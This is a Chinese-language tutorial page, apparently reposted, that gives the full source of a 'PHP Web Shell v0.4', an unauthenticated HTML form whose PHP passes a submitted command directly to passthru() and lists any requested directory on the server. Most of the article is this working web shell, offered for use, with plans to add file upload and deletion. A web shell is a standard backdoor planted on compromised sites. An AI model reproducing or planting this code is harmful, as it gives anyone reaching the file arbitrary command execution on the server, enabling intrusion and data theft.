当前位置: 首页 > 图文教程 > 网络编程 > PHP > PHP Shell的编写(改进版)

PHP
《PHP设计模式介绍》第十三章 适配器模式
《PHP设计模式介绍》第十四章 动态记录模式
《PHP设计模式介绍》第十五章 表数据网关模式
《PHP设计模式介绍》第十六章 数据映射模式
《PHP设计模式介绍》第十七章 MVC 模式
Zend Framework 入门——快速上手
Zend Framework 入门——多国语言支持
Zend Framework 入门——错误处理
Zend Framework 入门——页面布局
详细介绍php5编程中的异常处理
PHP5 OOP编程中的代理与异常
PHP程序的常见漏洞攻击分析
PHP.MVC的模板标签系统
PHP教程:PHP编码书写规范
PHP开发大型项目的方法:OOP思想
php使用curl模拟用户登陆
php对gb编码动态转utf-8编码的几种方法评测
php设计模式介绍之章代理模式
“在phpMyAdmin使用用户口令登陆”补充
PHP入门速成

PHP Shell的编写(改进版)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-08-14   浏览: 168 ::
收藏到网摘: n/a

以前写过一个没有任何技术含量的PHP CMD Shell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP 后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHP Shell,希望大家喜欢!


程序介绍:

程序:PHP Web Shell
版本:v0.4
功能:
1.可以支持目前主流的操作系统: Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录


未来功能:
1.支持在线 上传/下载 文件功能
2.支持在线 新建/删除/添加/修改 文件功能

程序代码:

<html>
<head>
<title>PHP Web Shell v0.4</title>
<!-- 定义文件样式 -->
<style>
<!--
.input{BORDER-RIGHT: #888888 1px solid; BORDER-TOP: #888888 1px solid; BACKGROUND: #ffffff; BORDER-LEFT: #888888 1px solid; BORDER-BOTTOM: #888888 1px solid; FONT-FAMILY: "Verdana", "Arial"font-color: #ffffff;FONT-SIZE: 9pt;}
.font{FONT-SIZE: 9pt;}
.fonts{FONT-SIZE: 15pt;}
TABLE{FONT-SIZE: 9pt; COLOR: #006666}
A {FONT-SIZE: 9pt; COLOR: #6666cc; TEXT-DECORATION: none}
A:hover {FONT-SIZE: 9pt; COLOR: #ff3333; TEXT-DECORATION: none}
BODY
{    SCROLLBAR-FACE-COLOR: #ffffff;
    SCROLLBAR-HIGHLIGHT-COLOR: #6c6c90;
    SCROLLBAR-SHADOW-COLOR: #fcfcfc;
    SCROLLBAR-3DLIGHT-COLOR: #fcfcfc;
     SCROLLBAR-ARROW-COLOR: #240024;
    SCROLLBAR-TRACK-COLOR: #fcfcfc;
    SCROLLBAR-DARKSHADOW-COLOR: #48486c;
    SCROLLBAR-BASE-COLOR: #fcfcfc
}
-->
</STYLE>
</head>

<body bgcolor="#eeeeee" text="#000000">
<center><font size=3 color=red class=fonts><b>PHP Web Shell</b></font> v0.4
<font size=2 color="000000" class=font>适用系统:Win32/Linux/Unix/BSD</font>


<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>"> //获取脚本本身
<font class=font>输入命令 </font><INPUT TYPE="text" NAME="cmd" size=20 class=input>
<INPUT TYPE="submit" value="执行" class=input>

<font class=font>输入目录 </font><INPUT TYPE="text" NAME="dir" size=20 class=input>
<INPUT TYPE="submit" value="浏览" class=input>
</FORM>
</center>
<pre>
<font size=2 color="000000" class=font>
<?php
echo "服务器地址: <a href=\"http://$_SERVER[SERVER_NAME]\">$_SERVER[SERVER_NAME]</a>
"; //显示服务器域名或IP地址
echo "本文件路径: $_SERVER[PATH_TRANSLATED]";  //显示文件所在路径
?>


<?php
if(!empty($cmd)) {
echo "执行 <font color=red>$cmd</font> 命令后的结果:
"; //执行命令后的提示
}
if(!empty($dir)) {
echo "浏览目录 <font color=red>$dir</font> 的结果:
"; //查看目录后的提示
}
?>
<hr size=1>
<?php
if(empty($cmd) && empty($dir)) { //判断有没有输入命令,如果没有则出现错误提示
    echo " 请输入你要执行的命令或要浏览的目录!
(请确定系统有相应的命令或目录及相应操作的权限)
";
}
@passthru($cmd); //利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(), popen(),Exec()等
$f = @opendir($dir);  //利用opendir()函数来获取目录信息赋值给变量
while($file = @readdir($f)) { //使用readdir()函数循环读取目录信息
    echo "$file\n"; //分行显示获取的目录信息
}
?>
</font>
</pre>

</body>
</html>